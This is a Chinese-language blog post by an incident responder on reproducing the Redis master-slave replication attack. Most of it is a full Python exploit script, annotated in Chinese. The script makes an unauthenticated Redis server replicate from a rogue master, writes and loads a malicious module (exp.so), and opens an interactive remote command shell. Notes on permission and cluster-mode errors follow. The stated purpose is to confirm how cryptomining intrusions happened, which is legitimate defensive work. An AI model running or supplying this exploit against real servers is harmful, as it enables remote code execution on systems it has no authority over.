目录
隐藏
一、前言
在日常的挖矿类应急工作中,发现大多数的入侵原因都是redis的未授权和主从复制,所以有时为了证明,就用去尝试利用redis的漏洞证明存在,然后就踩了比较多的坑的,这里简单罗列下在复现的过程中踩过的坑。
关于主动复制的原理可参考:https://www.cnblogs.com/kismetv/p/9236731.html
二、因为菜而遇到的坑
1、关于是否需要自己开个redis服务作为主服务器
这是我觉得自己最愚蠢的一点,因为是完全没必要的,脚本中是会自己构造一个redis主服务器,想要深度学习的可以自己搭建,一步一步手动利用。
2、关于脚本中的细节
网上找了份利用的poc,但是原先的代码中存在一个问题,就是没有指定目标服务器的
#!/usr/bin/env python3
import socket
import sys
from time import sleep
from optparse import OptionParser
payload = open("exp.so", "rb").read()
CLRF = "\r\n"
def mk_cmd_arr(arr):
cmd = ""
cmd += "*" + str(len(arr))
for arg in arr:
cmd += CLRF + "$" + str(len(arg))
cmd += CLRF + arg
cmd += "\r\n"
return cmd
def mk_cmd(raw_cmd):
return mk_cmd_arr(raw_cmd.split(" "))
def din(sock, cnt):
msg = sock.recv(cnt)
if len(msg) < 300:
print(f"\033[1;34;40m[->]\033[0m {msg}")
else:
print(f"\033[1;34;40m[->]\033[0m {msg[:80]}......{msg[-80:]}")
return msg.decode()
def dout(sock, msg):
if type(msg) != bytes:
msg = msg.encode()
sock.send(msg)
if len(msg) < 300:
print(f"\033[1;32;40m[<-]\033[0m {msg}")
else:
print(f"\033[1;32;40m[<-]\033[0m {msg[:80]}......{msg[-80:]}")
def decode_shell_result(s):
return "\n".join(s.split("\r\n")[1:-1])
class Remote:
def __init__(self, rhost, rport):
self._host = rhost
self._port = rport
self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self._sock.connect((self._host, self._port))
def send(self, msg):
dout(self._sock, msg)
def recv(self, cnt=65535):
return din(self._sock, cnt)
def do(self, cmd):
self.send(mk_cmd(cmd))
buf = self.recv()
return buf
def shell_cmd(self, cmd):
self.send(mk_cmd_arr(['system.exec', f"{cmd}"]))
buf = self.recv()
return buf
class RogueServer:
def __init__(self, lhost, lport):
self._host = lhost
self._port = lport
self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self._sock.bind((self._host, self._port))
self._sock.listen(10)
def handle(self, data):
resp = ""
phase = 0
if "PING" in data:
resp = "+PONG" + CLRF
phase = 1
elif "REPLCONF" in data:
resp = "+OK" + CLRF
phase = 2
elif "PSYNC" in data or "SYNC" in data:
resp = "+FULLRESYNC " + "Z"*40 + " 1" + CLRF
resp += "$" + str(len(payload)) + CLRF
resp = resp.encode()
resp += payload + CLRF.encode()
phase = 3
return resp, phase
def exp(self):
cli, addr = self._sock.accept()
while True:
data = din(cli, 1024)
if len(data) == 0:
break
resp, phase = self.handle(data)
dout(cli, resp)
if phase == 3:
break
def interact(remote):
try:
while True:
cmd = input("\033[1;32;40m[<<]\033[0m ").strip()
if cmd == "exit":
return
r = remote.shell_cmd(cmd)
for l in decode_shell_result(r).split("\n"):
if l:
print("\033[1;34;40m[>>]\033[0m " + l)
except KeyboardInterrupt:
return
def runserver(rhost, rport, lhost, lport):
# expolit
remote = Remote(rhost, rport)
remote.do(f"SLAVEOF {lhost} {lport}") <strong>#设置主redis服务器</strong>
remote.do("CONFIG SET dir /tmp") <strong> #注:设置快照文件存放路径,这是会忽略的点,因为很多时候权限不足,不足以同步模块</strong>
remote.do("CONFIG SET dbfilename exp.so")<strong>#设置dbfilename为命令运行环境exp.so文件</strong>
sleep(2)
rogue = RogueServer(lhost, lport)
rogue.exp()
sleep(2)
<strong>remote.do("MODULE LOAD ./exp.so")</strong> <strong>#加载同步module,同步so文件,用于执行命令</strong>
remote.do("SLAVEOF NO ONE")
# Operations here
interact(remote)
# clean up <strong>还原初始环境,清理同步的so文件</strong>
remote.do("CONFIG SET dbfilename dump.rdb")
remote.shell_cmd("rm ./exp.so")
remote.do("MODULE UNLOAD system")
if __name__ == '__main__':
parser = OptionParser()
parser.add_option("--rhost", dest="rh", type="string",
help="target host")
parser.add_option("--rport", dest="rp", type="int",
help="target redis port, default 6379", default=6379)
parser.add_option("--lhost", dest="lh", type="string",
help="rogue server ip")
parser.add_option("--lport", dest="lp", type="int",
help="rogue server listen port, default 21000", default=21000)
(options, args) = parser.parse_args()
if not options.rh or not options.lh:
parser.error("Invalid arguments")
#runserver("127.0.0.1", 6379, "127.0.0.1", 21000)
print(f"TARGET {options.rh}:{options.rp}")
print(f"SERVER {options.lh}:{options.lp}")
runserver(options.rh, options.rp, options.lh, options.lp)
其实只要关键点是:“SET dir” ,因为很多情况下redis服务的启动用户权限是很低的,对默认的目录是没有写入权限的。

3、关于报错
(1)遇到过报错:slaveof directive not allowed in cluster mode
原因:(集群模式下不允许 slaveof 指令)这是因为slave服务中cluster-enabled参数的值设置为yes
(2)Error loading the extension
原因:(加载扩展程序时出错)
